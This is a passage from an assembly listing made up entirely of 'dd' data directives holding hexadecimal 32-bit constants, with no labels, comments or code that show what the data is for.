0B20EE901h, 23C4262h, 5AC85A25h, 0FB1667F5h, 0A18432C0h dd 0E91DA4FFh, 6545982Fh, 4120895Fh, 0DAE99877h, 0D0B097A6h dd 9A6EAEFh, 576CF32Fh, 88FC0296h, 2D1C5A60h, 35FA614h dd 520105FAh, 0A9D0150Ch, 4058C875h, 27A7055Bh, 63976D4Fh dd 0E906082Ah, 761504Eh, 1D13ADF2h, 0B6EA606Eh, 0C75E7871h dd 0DD2031B1h, 0DF7E14C9h, 640F107h, 0DF335C89h, 0F2FE8025h dd 0F42D056Fh, 0A1C844ABh, 535E0521h, 0D0BBB2FBh, 66B27607h dd 2C05BF02h, 563DE948h, 0C2800116h, 26D428D7h, 0E2515043h dd 58E60803h, 0C805EEC0h, 7F2C5EC6h, 0E9490CFEh, 0C1DF656Bh dd 0D66F220Bh, 0F1898063h, 90961D24h, 0A4C45E31h, 745B6C8Eh dd 0FDA523F8h, 0CAAF4BD6h, 32EB1A27h, 5F5E773Ch, 9F4A5D70h dd 82419312h, 0C2918192h, 309C212Ch, 0BC7DA3ECh, 40004909h dd 9B4662Bh, 3BCB8103h, 0B36D6402h, 390DF8E3h, 0A6E9277Fh dd 0D20517D2h, 8909CC47h, 0A0F235F0h, 9533EEC9h, 0A5BDAD5Bh dd 5AE5C15Bh, 7430412Fh, 0F8080A5Fh, 0E89767F7h, 80F2DFDDh dd 0D064EB80h, 0ECBE6C06h, 66047541h, 76F56852h, 43B35EAh dd 13F75F27h, 795E4904h, 0A35F0DA7h, 0DCABD22Eh, 5797515Ah dd 3054819Eh, 381EB0BBh, 0B155C8FEh, 0E3C003F4h, 37D38602h dd 5662F6A4h, 0C6C0125Ah, 28BE2C55h, 5B0474D8h, 0BCE3355Bh dd 8BAB4EFCh, 0B14392AAh, 0F8EBC03Fh, 97299068h, 0B6162146h dd 604B0EDh, 0F3E74F4Bh, 165D2D26h, 0FDE35689h, 60E9128Bh dd 2E601027h, 9F4B4106h, 0F00BBB72h, 0FD280287h, 5D56C04h dd 0D7090AB5h, 5A6B7266h, 0AE6384F0h, 2D7EDDE7h, 0C7525531h dd 0B6182E20h, 952A3F74h, 3021BFE7h, 30FE71DCh, 841DF6ADh dd 2981610Eh, 2635E9F2h, 624E212Eh, 89323FC9h, 0C8C76A2h dd 97901BEh, 0F49F8E90h, 6FD662AFh, 74189A5Dh, 5E680576h dd 0E97CCC6Ah, 12067859h, 0F6AC0203h, 7D10A4F4h, 0B75F4E40h dd 18549A0Bh, 9809FDC7h, 0F45857BEh, 5CD49AA5h, 7C20A05Bh dd 26C1594Fh, 656F732Bh, 676F1C92h, 4A0B6465h, 0B7603016h dd 7ABA808Eh, 7B4C1B12h, 37EA8101h, 0F02FA1BCh, 6809BFD4h dd 801D0853h, 0A658E8CFh, 0B102B73Ah, 0D70B6B79h, 2C025861h dd 5A814D73h, 992461CEh, 27ADACDEh, 4CF41477h, 0FE00F092h dd 21E2F591h, 0DD975AD1h, 39072018h, 533F6880h, 5209C243h dd 8FC20DE9h, 0B8BA7263h, 0F8283748h, 9125B97h, 0D955FDE5h dd 1B308948h, 5A184D2Bh, 5882C213h, 68565C38h, 2AD02E27h dd 0C87D0782h, 0C9A90A99h, 50DF4F2Ch, 59DC25CAh, 54A3A1A0h dd 0D2F6472Fh, 5925A5B6h, 8A6C629Dh, 0F83E93C9h, 88BD5AE0h dd 0FF2F070Ah, 0E865A524h, 0F755CBEBh, 160B0714h, 0F7757901h dd 0C81876Ch, 0C72C205Dh, 87605441h, 6BFB09EEh, 807D39BBh dd 0FCE907D6h, 9EDE9ACFh, 0B8DD2F10h, 4E54E9F2h, 50F4545h dd 14979564h, 0CB737593h, 426F5D40h, 0B758E98Ah, 0A7EE59B4h dd 8DBBD2F7h, 413D2A1Dh, 30346729h, 722182EBh, 9B4F257h dd 0EA3701DEh, 29480D50h, 5102537Ah, 69BB3E1Bh, 3DF32486h dd 1052F40h, 2DD0070Fh, 2E53E0D1h, 0D8044FF3h, 902852E9h dd 3E04D048h, 7F5FE495h, 3CED2754h, 0EE407479h, 4B342352h dd 45C4AE7Dh, 17E00810h, 0B7937865h, 2EF8C187h, 0B25C10ADh dd 0ED5E0A83h, 0FA380520h, 0BADF12A1h, 0A3EFB712h, 9EE3125Dh dd 9DACB4Bh, 0FD5242FEh, 67E132B8h, 0E6189CA4h, 34FED143h dd 7D7882F5h, 1AFAC74Fh, 787F0C9Eh, 2786B3B9h, 0FC256D05h dd 9CBAA50Dh, 4566E1A6h, 0A4D98C7Bh, 7B652581h, 854FB7F9h dd 0D9BA1AEAh, 56AC6E02h, 97BAE983h, 6EE5C302h, 403B126Ah dd 9FC2647h, 0C2E909C8h, 2D0A84DDh, 4B9ADBFAh, 2732855Ch dd 0DE17625Fh, 6FB90201h, 0A7632979h, 674CC217h, 7DD13709h dd 40082E91h, 5CB5F2A2h, 89570A07h, 2C7468CFh, 9B182CE3h dd 0FEEDE731h, 36D93E07h, 0F9D4F529h, 504BD0A1h, 0B062E469h dd 0DA2098DFh, 7B4381AEh, 450722D0h, 0D60D5CF1h, 6F53A605h dd 35BA0519h, 964FFA49h, 20560BD5h, 0FFC6825h, 0B14C4AABh dd 0EF8320A5h, 0BF049E19h, 0A82AC72Ch, 130DD0E5h, 0C4FB14E9h dd 2A54338Ah, 0CDAB0B4Fh, 16452BE6h, 71AF51CBh, 0EF53597Eh dd 43E9F50Bh, 9335D3Ah, 7F38C3D1h, 0BED3CAEDh, 32688890h dd 0F83FE149h, 0BAFDE8C9h, 340F875h, 0B158C788h, 0A6E880E8h dd 0C1EAF928h, 43C5BEAh, 2CC81D69h, 5912742Ch, 0E94674FFh dd 7BF6A116h, 963BF87Eh, 0F167FE2h, 4A23B62Dh, 0CA0322E0h dd 3C44719h, 7EA855C6h, 74DBCFB0h, 7D719C25h, 62462EC8h dd 8030313Fh, 0BB2756F7h, 3CF809AFh, 0D7B9975Fh, 22240ACh dd 3CA2617Eh, 9BDE8942h, 0F2DB7849h, 5C280519h, 0AFE80197h dd 545030B2h, 256EBF25h, 14976812h, 0AAC5B5CDh, 0E146CC7Ah dd 192024Ch, 5EC97ADAh, 2074ECE9h, 0C5B2D68h, 0F409EEE6h dd 0B0950FCFh, 0BEA8111h, 260B1B70h, 0E195C80h, 0CAB565BAh dd 1C080D28h, 48581402h, 8272EE6Bh, 71191AC0h, 0D3B5609Ah dd 4EF92C28h, 0CF31D687h, 0A861EF96h, 432D2C42h, 5ECE6610h dd 749123C2h, 5AE209Ch, 5103EFC1h, 227181B9h, 52322056h dd 0C77DAB17h, 75009A17h, 0C4FE1DB4h, 80D40DF6h, 0D40E65CCh dd 300B0BF4h, 586EE9E5h, 28F1FEA7h, 24A0C0F0h, 940D9F6h dd 0D9D53075h, 0C382BD98h, 6F256812h, 0F654C0E6h, 0B74B85C6h dd 4B2999BBh, 36CA6452h, 128BBE07h, 0BB748EE1h, 7ECD6127h dd 0AC3D122Bh, 6F9CF50Ah, 2F426072h, 923625E3h, 9A3A7E67h dd 0C11C1DC2h, 238186C6h, 2804B1C1h, 0CF1D817h, 17FE6D3Bh dd 80F05BE9h, 301227B5h, 0E85901E0h, 57AD36C0h, 123955BFh dd 5A47287Ch, 0DD0680h, 0D6EBC301h, 0F82932E0h, 97D05D6Ch dd 0A40065B5h, 1DA803CFh dd 8E007F63h, 23133C14h, 0FD56F901h, 254A7EFEh, 0AE58857Ch dd 0F9459D49h, 58D0D627h, 0CEB56EAFh, 0E47325C2h, 0F26B64DFh dd 14ABE38h, 4F66ABBAh, 4EC56E11h, 0D535DE20h, 8D2D05C4h dd 0E33055E9h, 4D0910C6h, 0EAD78919h, 6123ECCFh, 0DFF74907h dd 7529E997h, 83D1A70Bh, 0C0C7BA49h, 0CE6C9951h, 0FAEBC34Fh dd 0E248C0DAh, 144700E4h, 0EB81313Eh, 0F865242Eh, 5DC300CCh dd 0E97C2D36h, 3B539A24h, 5D565752h, 0BCB46B78h, 0E4CE6C8Ch dd 8BAE799Fh, 2BF45EF2h, 51C0B7E1h, 69755AF9h, 7582C31Dh dd 65E26850h, 48A4E902h, 29A7343Bh, 2F7CC328h, 0E9B08543h dd 7CBDD5D9h, 93EE6B05h, 0A1206CB0h, 0BB5E4E02h, 0EB96A0CEh dd 5E1CA12Ch, 354EA4B3h, 803EDC96h, 4E8C0BFh, 2F881334h dd 656158C1h, 0E9F9C01Dh, 0DAD64A2Fh, 0AD4995A1h, 188415Dh dd 0CFA37FACh, 0CA005BC8h, 4D2D423Ch, 0A3C55A83h, 0F3240586h dd 14BCB508h, 0C9C4F156h, 0F74A0093h, 0ECA81D2h, 3375E11h dd 4872E2C0h, 3294012Bh, 0A58C4C08h, 3200BECh, 0F41DB04Eh dd 290CC46Bh, 0DD89FEC3h, 0BBF9166Bh, 4B53AB28h, 4077ABC7h dd 9248FFC9h, 69147ABBh, 27D65D01h, 5B894038h, 0A2680256h dd 5E78596Fh, 0FDD9F862h, 2EDE91Dh, 0DD63B2BBh, 0BD1238C2h dd 0C976EE62h, 7AE252C4h, 9991D3C4h, 2D2E391Eh, 0A690575Dh dd 579C1401h, 1CE2FCAh, 38A3E9D0h, 0E75ED12Ah, 618C3B3Ah dd 0A07E97B8h, 0DF257926h, 44E9AF01h, 502E736Bh, 0B3413B06h dd 5084E02Fh, 0CDCB01Eh, 74172CCBh, 9585B9E6h, 40518AE9h dd 4A71F59Fh, 62B505F4h, 74C8354h, 688309D5h, 81534401h dd 6EBDEC22h, 0A19CC173h, 3B078B2Ah, 8129B94h, 35BE6BAh dd 9351CEC2h, 6E260103h, 2962752Bh, 81CA0F2h, 0B6AA482h dd 0B430027Dh, 0C2A4FC32h, 54832BCAh, 17131A3Eh, 9CBFD48Ah dd 2E5F05E9h, 8E7D8891h, 0ACE2C504h, 587B04ACh, 9FC6397Eh dd 4AC60010h, 0B22D9D21h, 5E0A0D6Ch, 705F801h, 0F7A55F1Dh dd 86685F81h, 207DB849h, 0D5D8F1EFh, 25FEBB9Bh, 20C223DEh dd 0A18706EAh, 21CDA20h, 1B438F05h, 507D402Fh, 326B047Eh dd 0AA89375Fh, 447DD9B5h, 2F3EBD92h, 0F11E7F5Ch, 3B8EE912h dd 7E71040h, 0F690EF80h, 2162951Bh, 566BF677h, 7EB90CC0h dd 0B0739B48h, 513AEEE3h, 0C7D8E6E0h, 707B1772h, 0E95B7189h dd 0D7032A30h, 0B95840B8h, 74ED685Bh, 0A0CC306Fh, 4801C126h dd 4039F781h, 79302505h, 0F4BE17D5h, 5DAB08C8h, 15DB822Dh dd 0B681DF46h, 0EB7C12E6h, 62EE61CFh, 2A90F1E8h, 0BBFDC16h dd 0B3A0B89Bh, 204C9CBDh, 9EA287Ah, 51FE79Fh, 0EF186859h dd 46D99E34h, 0BC3E2535h, 22E9E0CBh, 4316D267h, 5CD3F297h dd 77E9759Bh, 0C27D347Ch, 255A739Dh, 9164C75h, 207DBA52h dd 0EAC1CC00h, 0B7984208h, 856F5A0Ch, 1BFB5870h, 3C26F431h dd 4BD7AAE5h, 0DEF534B3h, 7812020Ch, 4DE94CE6h, 0C9DCD657h dd 1373C584h, 68A6C209h, 0B47401E7h, 60576B2Dh, 9A56E9FFh dd 0D1661C88h, 0F7AECEEh, 0B515F929h, 85D7E909h, 0FB9FD466h dd 97F0A86Fh, 4A3C1657h, 94580EAh, 9FF01C4Fh, 5D14AA9Eh dd 42DA0144h, 4C297E89h, 90DDEC2Fh, 0E975610Ch, 4A978BB2h dd 0B4CDAB58h, 0DD0590F4h, 0C2428BE5h, 0A9CE4AF7h, 20785F12h dd 0D82EF695h, 0BC43FF6h, 4792262Dh, 6BEF545Dh, 0C6D6B07Dh dd 265D051Ch, 84D6017Ah, 0EA0813C9h, 0D8AA1113h, 635EE9B8h dd 0B6A84216h, 3EBFE54Bh, 522C8F8Fh, 840E171Bh, 0A89BEBF2h dd 409DE916h, 4955059Bh, 2D047BEBh, 0FB3DF2Bh, 0CF49A0EAh dd 0E1B85002h, 0D46D830Ah, 75F1088Ch, 3BF4073Eh, 0E3A4BF2Ah dd 0E7EC49EEh, 0BDB4CE75h, 9E58A0D6h, 5358806Eh, 15048h dd 38F77145h, 2508B3B8h, 14DE3228h, 408CE225h, 4A5B3B73h dd 2DB5ACB7h, 4DBDA0A9h, 0F6372863h, 7A6C4118h, 942D72DCh dd 7968059Ah, 2BDC9955h, 0B152A293h, 8A6FD141h, 0DD930D4h dd 282CF8BDh, 0B8A1613h, 48433A38h, 533F5A86h, 0C69BE17Dh dd 5F58123Bh, 60B518BEh, 20BF4CEDh, 1A490CF2h, 0ACFF9745h dd 256D3A40h, 18D63441h, 671ED00h, 0DCC78333h, 19F2C094h dd 0F4E941C9h, 3022CC9Fh, 0B9106233h, 51245B9Bh, 0EC1D0B4Dh dd 43D200Bh, 6793DA9Fh, 6984BCCDh, 0E94F56EDh, 21EE440Dh dd 64B25D4Bh, 4D9A3578h, 0A296842Bh, 78E9C51Eh, 0F580C540h dd 90EE28DBh, 831A55B0h, 9244AF60h, 7217E6B6h, 274298C4h dd 0A866A246h, 0B3783C27h, 68640182h, 485A43A8h, 0D175E28Bh dd 9DA6623Ah, 0FD8BF77Eh, 0F660145Ch, 1692FD54h, 0FC9DAA5Eh dd 0DD96B6FCh, 2B8A435h, 0D9010CD1h, 0A0088F88h, 4B80FEE2h dd 504F236Ch, 81D8EEC9h, 464BE53Fh, 1231226Ch, 6FE9B56Fh dd 0ED811084h, 98F701C3h, 489D69BEh, 8E26081Eh, 0B88743BAh dd 7F660D2Fh, 49027C27h, 0D996851h, 2802DADh, 0D8F75428h dd 65130B05h, 6FF08026h, 1853BF5Eh, 9123D862h, 853E15FFh dd 4D431F0Ah, 6A85ACCCh, 67656F44h, 5BF13FC8h, 8464A28Eh dd 0E3A969BCh, 0BB473D12h, 0C39DC43Ch, 0E18CBA77h, 0E05DB0D2h dd 0BEB8196h, 8D1569Fh, 522C90F5h, 33F4BD58h, 455C5B54h dd 21556615h, 583A17A6h, 3D40379Bh, 0E9D05EF7h, 0BBA61EBAh dd 94B9CFBDh, 0CF27DF86h, 7309F2C5h, 0EC8ADDAEh, 0C597CB50h dd 300B1FC7h, 80D0B62Ch, 51D5C605h, 42824EB1h, 0EA8102E3h dd 5E2D7652h, 0BD32FF87h, 699C6540h, 0BA6EB001h, 914F9864h dd 82B1AC2Eh, 0D512BF68h, 0B52015CEh, 16F19026h, 73A3775h dd 254F394h, 2E4170D9h, 0D5591798h, 0CE627D79h, 3805DA22h dd 2DFA4507h, 0DF5EEED1h, 1279A2CCh, 721678h, 0E9878B72h dd 8381018Dh, 0E4AD82CEh, 24B900D2h, 4C1CA21Bh, 2D84F181h dd 0ECBE50AAh, 825167Eh, 0E129C021h, 0CA060105h, 2B015D73h dd 9F649B13h, 3EE49080h, 9564406Ch, 34334413h, 1EC18D07h dd 4FBF1384h, 2920BAE4h, 0E9516BB6h, 256CF69Dh, 0C684D956h dd 0C9C2DF72h, 0BD85E857h, 0A6150F1Eh, 0C16A4D21h, 1CBA58FCh dd 0DBE989C5h, 40B82292h, 334761h, 744B222Dh, 40E0D12Ch dd 59FF22B7h, 0B6BF0319h, 606B74D9h, 2F08D28Fh, 313C48h dd 14CF8147h, 184F1A7Dh, 0CE0153B9h, 8923EB56h, 96C86EFBh dd 0D13F4B87h, 3E2F4769h, 56FAD3D1h, 488ACA2Bh, 0BFFC20CEh dd 4E0964FCh, 62245E0Eh, 417A21D2h, 82640758h, 55315EF3h dd 5964C7FCh, 0F55AE650h, 0DB166A1Ah, 0EF96FFACh, 0AF02D384h dd 0DF01ED09h, 0B68385Bh, 0D9EADD4Bh, 8BE5E5F7h, 9FD96CF2h dd 0F5499283h, 0E9AC0B44h, 0D368A8D5h, 0B9A82219h, 47253718h dd 9A5F6C8h, 9A7C2FDFh, 1DDDE62h, 0CC55F780h, 283C65C5h dd 87ED3AFDh, 59EF885Bh, 820CF896h, 3E940464h, 396865D0h dd 0ACA14F18h, 792D32CCh, 0A7EA57BAh, 7597C255h, 0D377FF62h dd 1836A6CCh, 7F681417h, 0B8D79897h, 0D935391Fh, 30C75A78h dd 0CAE1B955h, 56B02672h, 1944EB09h, 8230F232h, 64148508h dd 4BFC8D4h, 762C735h, 0DAE2F404h, 89877628h, 904B3A3Eh dd 347A5407h, 76D56E29h, 0FA4ED5A8h, 5AAA5A2Ch, 841AF95Ah dd 7BE836E9h, 0BEF25B35h, 24F1CFF1h, 0EEEC5035h, 916112B8h dd 0BA04BE70h, 0CCEA22C3h, 0FB5495A0h, 0AC73E6CAh, 0C02FEE1Dh dd 680CA5A4h, 17281CB5h, 6B252C3h, 0BF5ADBBDh, 1D640438h dd 133E2CD0h, 0F6A7AFF5h dd 0A8D16812h, 2055CFA9h, 447E5AEAh, 8B20B05Dh, 0B9CEFBEBh dd 0DD6F2D1Eh, 0D72B3B6Bh, 59ECE90Bh, 177F147Dh, 0CC16C868h dd 20627895h, 90517999h, 95D6150Dh, 0FC709657h, 2DC7BCD9h dd 0C2C08177h, 8E965FDh, 62477E20h, 5FF94B57h, 68AE02DDh dd 123B50ADh, 5E367EE9h, 7608DAF7h, 586AF15Fh, 0ADC3622Fh dd 0A4802147h, 3E66A5AAh, 0C72548BDh, 55A26DEh, 0C720C3D3h dd 0C6C224Ch, 1EA835Fh, 2313C012h, 45A1B01Fh, 0FA484A41h dd 3A50AD01h, 31801CF2h, 810BFE43h, 410FE70Fh, 14FA33B3h dd 0AE2020FAh, 90AF894Ah, 155C2587h, 0E91A5006h, 0FC8B28D6h dd 0AC34092Dh, 9F0F2904h, 5F2708D4h, 0D916DA5Bh, 12C5F0B4h dd 1C7077Bh, 16B7E570h, 0DDC07075h, 4A0EEDFCh, 65AB9FE9h dd 0C3B3BB62h, 69E95EC1h, 95D93F66h, 7D0E8083h, 0C8775CC4h dd 0F927CF25h, 0B95181E8h, 202E5BD3h, 804A7486h, 4C684321h dd 0BA7E7869h, 4F74BE10h, 0D047C844h, 0D43F714Dh, 1EDB6CE5h dd 5A30080Dh, 7177276h, 0E9E1D124h, 8968A9CCh, 0CDD4DCB0h dd 66C212F1h, 3F30019Dh, 18D76733h, 0C3FE00B3h, 56AEBC0h dd 26173A0Ah, 0BA5257C8h, 0BAA5F8E8h, 95BA7BCAh, 2A4EDB66h dd 5D25AACAh, 0B058527Eh, 32882C72h, 1B762D1Bh, 1A9CEA01h dd 817F9AEFh, 3CB38Ah, 0E1FEEB80h, 9105D1CFh, 0B6D75602h dd 0AC95BDB0h, 55AB12Eh, 0A4FF3A99h, 0C2FAC5E2h, 25E07A5Fh dd 0DBD255Fh, 80008FFh, 1482C020h, 9A202BD6h, 0ABF7140h dd 2D8E5AF4h, 0D0E9288Eh, 705D0BE7h, 0BEF04112h, 29C713A2h dd 0AD089554h, 67111006h, 535BB04Ah, 28D4B305h, 81AF5BDDh dd 5AA1D3Bh, 87AADF1h, 0BF1510BDh, 5CDE8083h, 27E90B3Fh dd 1FD15DBAh, 0FBE5B939h, 22EF3E24h, 9334242h, 7D7E62DDh dd 956208F1h, 0E4ABC8BFh, 0AF3AE13Fh, 0A28CAF77h, 0BED94B39h dd 132932CCh, 0ECD8DF1Eh, 0A1AA1055h, 26F7067Dh, 36A5BBC5h dd 0B0884040h, 4013B0E8h, 0C1BD012Bh, 97E9EA26h, 0B65F177Eh dd 28277CB8h, 0FE55244h, 10F38081h, 0E0C5DA4Bh, 0C280FA80h dd 0BC0AE991h, 490126C9h, 0FEBEC384h, 0BD550631h, 0B08451C0h dd 0A18B5AB8h, 8B8F6DD7h, 7C90FFEBh, 0C5A9398Dh, 9708F07Ch dd 5FF4314Ch, 19362BEh, 6842FA28h, 0D751FF9Eh, 94F81745h dd 0D364BF5Fh, 0F11712ABh, 0E9080083h, 29920307h, 0CE97AE90h dd 837227Dh, 0A5B6430h, 2F1907BBh, 553261h, 9EE6FD8Ah dd 4D8B7CDh, 68179E9Ah, 3CA37D70h, 0EA221F12h, 605B7038h dd 0C3EEB11Dh, 0C25A61C7h, 201468ECh, 0B19FB6A4h, 2A76DA56h dd 0E91FB1DAh, 0A7C826B1h, 4FF1EC7Fh, 5B7E4459h, 0C7D8BF50h dd 786B43A2h, 298EC4Ah, 5A8C40D6h, 52F4FB7h, 88136CE9h dd 6E12DB69h, 0A2BB666Bh, 18FED344h, 51030694h, 6F4D6804h dd 81EF4F44h, 0E913EC65h, 0CC0C825Dh, 750E8727h, 340837A8h dd 5914090Ch, 21DEB807h, 0CE9BE9F1h, 8872F3FDh, 5805F933h dd 6882D889h, 6003DE57h, 7BCD6853h, 34FDCBC5h, 414CDCE3h dd 85305716h, 6900835Bh, 0EB295112h, 0D29293BDh, 0CC5501FCh dd 0B95D5F96h, 471B1F24h, 685A7881h, 0D7C21CF3h, 2AD747Bh dd 0FF6BDC67h, 5E1673F9h, 64293DB1h, 0C7845B79h, 0F7C1912Eh dd 0FC08A6D0h, 9F976813h, 241B2721h, 0A635833Fh, 39C2F9BDh dd 1FAF1EB5h, 946CA1C9h, 0EEC24A88h, 0CF04FE12h, 5BC40B18h dd 41E13CA0h, 87A43E2Ah, 2FCA4188h, 0F3A722A8h, 2E500BD5h dd 5779559Ah, 96C1544Ah, 0B3324BBh, 2A05FA4Bh, 2ABDC9E9h dd 0AD4EC602h, 0BBD8968Eh, 0DA2D537Fh, 0F88E2288h, 36550693h dd 8AAEA54Bh, 1ACA1063h, 6D282D05h, 366BC78Dh, 0C5076343h dd 888F4926h, 0D166AEB2h, 5CA78EE0h, 1CBAA16h, 0A61831Ah dd 2090AFFh, 0DB9EF5A7h, 4F3E925h, 0D0D45DBFh, 0B005E082h dd 19384CFEh, 7A424191h, 18A8963h, 10A800CEh, 0B060AE2Bh dd 7450C01h, 4D0C0416h, 349C0B14h, 1D5F24FAh, 2F02F4A7h dd 6BE40F57h, 3045EC52h, 0E6FDAE09h, 502D3D0Bh, 572F23Fh dd 0F334ABF6h, 6FC0AB49h, 2DE9EF21h, 3E18A891h, 580EB4Ch dd 7C421299h, 0A510FA63h, 5EFE5F07h, 3A685070h, 924B3957h dd 0FE22B4h, 0AA0A31A4h, 435FE937h, 0F3AFD9C4h, 41102D37h dd 0A93A5B4Eh, 5D57B25Fh, 0B2318360h, 48A83E5Fh, 30428FB0h dd 0AC5F3C90h, 68580F01h, 0BF4D2123h, 0DECBAC88h, 1917A524h dd 0AAE15641h, 209A2AA6h, 0DC41A959h, 5B626C7Bh, 68C494B8h dd 0C4FFEC74h, 90B12FE9h, 0D8E12465h, 0BB9D474h, 7F10605Eh dd 3DA2BFDh, 9549463Ah, 5B8382FAh, 3B7C1F5h, 4F63093Fh dd 0EC512105h, 7660B17Ah, 67B72480h, 685BFE08h, 0EB466526h dd 5AC16665h, 0FE05EFF8h, 0A0EF9CC4h, 0FC9D05F8h, 50590602h dd 0EA412851h, 0F290F06Fh, 2C1E461Dh, 61BB3842h, 20377A1Ah dd 304FEE8Ch, 0B6F345BFh, 8777BED5h, 0E5FC79B5h, 0B4BDBC5Ah dd 0C0E91502h, 7D6E7F11h, 0C95235F6h, 38512029h, 0AA4A1BE0h dd 5CE8592Ch, 0EED2C306h, 680ADBA3h, 68D23A49h, 26FB0B3Eh dd 77623C5Ch, 74B25778h, 30B76DC0h, 8119BA00h, 4D17E7E5h dd 9EF3A176h, 6A023E79h, 4041ED49h, 0B9607CF4h, 5F201563h dd 35FE0001h, 430D5ECAh, 2340AE90h, 3BAE705h, 0F84FBE80h dd 58C62127h, 743E8398h, 0F8D52F2Bh, 9106D8ADh, 6BF5853Bh dd 0E63F74B1h, 755916F0h, 40078B8Ch, 689555ADh, 7DF735E1h dd 44292565h, 206364D5h, 0BCBE9021h, 0F30601Eh, 4C56C7BAh dd 0E203145Ah, 3FD044F1h, 634B0C07h, 0F2C00CA5h, 4C206C92h dd 6D17B314h, 17AF8AF8h, 77F85DB4h, 0BA17E790h, 7848F23Dh dd 0F5708897h, 6904A28h, 5A384B59h, 1F026BACh, 5F17BA47h dd 0CB5BDE75h, 0BEAA0F82h, 0A0215BFFh, 405D0999h, 12DA3D2Ch dd 1416ED05h, 0EA1E7742h, 15836B43h, 0E0EEFCD1h, 0DF0A45BEh dd 0B2314B57h, 65551239h, 480509FDh, 807D245Bh, 23325397h dd 49B26F5Fh, 2CDA0704h, 4B7BF8DFh, 74C46E84h, 0E90BE7BDh dd 0C67CB625h, 5824E253h, 2680767Eh, 2309882Ah, 0D20D88A2h dd 5F026806h, 54052F15h, 8157B4FDh, 2381FAF5h, 0C60817CEh dd 0B2F07B64h, 2DAAB6F6h, 2E9C97Bh, 442557Eh, 4B84AD29h dd 59740FAFh, 905D31E5h, 5A5FFE44h, 30927F97h, 5D7ADD5Ch dd 0F3421E5Ch, 0FD5C0516h, 19E78C04h, 0FEF19D5Dh, 0E059575Ah dd 0C50FE9C1h, 683CBFBAh, 4D2C259h, 803D5970h, 29220E6Bh dd 0BD2D51B0h, 5E9D1B1Dh, 5A56A82Ch, 82A590F8h, 78684551h dd 0D7951C33h, 68139C9Eh, 9EE34E7Eh, 1C9DFD5Ah, 3189AD66h dd 2BF3F5D8h, 9B4C8B09h, 72BEE054h, 4B4D9075h, 0C0A7ECD3h dd 56D8015Ch, 555B0B68h, 804079A5h, 22304D15h, 3525B806h dd 0EA734B08h, 5F2A740h, 0B65AB719h, 7FE90CF4h, 47248FCBh dd 0C3224D40h, 0BE597A96h, 21B8BE81h, 2F0AE946h, 0FE000CB9h dd 81742F54h, 0E17E97C1h, 31F8435Ah, 0A8FD5E73h, 0B5BED225h dd 0DEC02B87h, 9227F24Bh, 2F299726h, 0B99E3B07h, 3DFAD901h dd 66B02BBFh, 8549028Fh, 8642E915h, 63C81EEAh, 104B0968h dd 0B55EECh, 94422B20h, 0FD502979h, 0AF9501A5h, 5D552B0Fh dd 6C395219h, 6EBB2F1Ah, 18EC025Bh, 5C0161B3h, 900C0932h dd 82D23790h, 0DFFB809h, 0B7F10AA0h, 2924E578h, 7722805h dd 2B2037CDh, 0EAF5603Ah, 34ECC0Fh, 876D90EFh, 7E605815h dd 0F04368C2h, 0B462B8DDh dd 4F983AD5h, 3BB6A15h, 1045661Fh, 0FF9016D2h, 12795CEBh dd 0C40130ECh, 5A080B4Bh, 0E9439855h, 0CCE45ED0h, 5A97F36Fh dd 0C0DC8A9Eh, 82B17F19h, 2B203CC1h, 1FEA5ACCh, 7F253C26h dd 0C1B567A4h, 60C70E0Fh, 112C294h, 4003E2D1h, 0A72126A5h dd 0F5F1D729h, 5F27F360h, 61414822h, 0C32D3606h, 421F3A1Dh dd 0E9C4077Dh, 8CAF2B12h, 525B9163h, 0E84F05E3h, 5FFDC4D4h dd 0A92F51F9h, 0EF77175Ah, 0DFB47525h, 6805A867h, 0F5D80B36h dd 0D0C85BBEh, 5140CF6Bh, 1C8F3Bh, 5A282DF7h, 0F6BB5369h dd 5E23D04h, 106BDBACh, 68767B30h, 34764113h, 732B14AAh dd 0B1929604h, 5F9A8071h, 105B9B07h, 70ECA409h, 265CBF28h dd 4432C5C2h, 1F7B0FC5h, 0EB6B7307h, 22B810C0h, 27A97400h dd 20390540h, 0B0604B87h, 303E8D1h, 7879B52Dh, 0F9EEA80Bh dd 91B12EE2h, 0BF351200h, 0B192C1A3h, 0E13F87h, 0B62A2265h dd 74BE4001h, 4AB7CC95h, 0BF9200C0h, 1D2593Ch, 53051198h dd 21480729h, 0CEF7690h, 0A6024009h, 0CBFAF40h, 31675D17h dd 650B4520h, 83510DC8h, 300AFC53h, 7AC0BE56h, 0D09D564Ch dd 0BF5E4B12h, 0EC819AC8h, 57731899h, 3E550C49h, 500C9D18h dd 958AE146h, 6BCF3B76h, 0BFA4D03Bh, 0F70AFA67h, 7682B0C9h dd 5EA356C1h, 0C3A73E58h, 7ABD47E1h, 0EA4E1EF8h, 503F98Bh dd 4E8C0EFEh, 11FE2040h, 7B4D3C13h, 49560300h, 9645798Bh dd 81CA3523h, 13CBD8Ah, 29E1685Bh, 41AB8A2Bh, 2687EB9h dd 0D802C68h, 0C4026B26h, 4D04A2F1h, 6F763AC0h, 0E33A5BE7h dd 61635046h, 16B63609h, 52C80243h, 5552C296h, 76F4E509h dd 4E3EFC89h, 9F6095F9h, 46B0F001h, 1E37C148h, 787B469Fh dd 5808E950h, 4F265E95h, 0FD29B984h, 4E3D442h, 486F7488h dd 585258C0h, 0FD085A4Dh, 5F08407Ch, 3A346815h, 0F8471AD6h dd 0C05A82C7h, 8F5D0B7Ch, 3E4DE424h, 27B28FAh, 87603EE1h dd 0CB386C68h, 4403615h, 5C9FEA83h, 4C4CE930h, 68D7CF2Dh dd 1F59CD7Ch, 121C6F21h, 0EFA4C478h, 2BA1EFB9h, 64CC3B60h dd 0B86D4051h, 981FEC17h, 256C880h, 41054253h, 8EBE4808h dd 7725429Dh, 0A48995D3h, 0DF9AAB73h, 6FC2F419h, 0A24ACEACh dd 0FEE9828Ch, 0EF1C422h, 5CC12E80h, 4106095Fh, 0BEF1AF00h dd 1717304h, 0C583F0C2h, 0E9AFB002h, 0EB1A5CFDh, 4029ED81h dd 22C27EF4h, 0D9020B1Fh, 20B2817h, 7F229FADh, 0F520199Eh dd 0CFF095D0h, 0E1CB5495h, 662BF468h, 12BD2442h, 19E92603h dd 0EE71745Dh, 0E32B4BE3h, 0C17D79A4h, 0B5E1749Dh, 9C190506h dd 0C88CF476h, 0CDF52F07h, 5AD3DF31h, 0BA500043h, 301154ADh dd 0E097E2C1h, 7286EA3h, 0D731D9D6h, 0EB18B5E9h, 2C7B3DB6h dd 9D514AE6h, 0A599C9C8h, 8B3F957h, 500F4454h, 0F9B5CFB4h dd 8C3EADFEh, 35405B60h, 9D6650ACh, 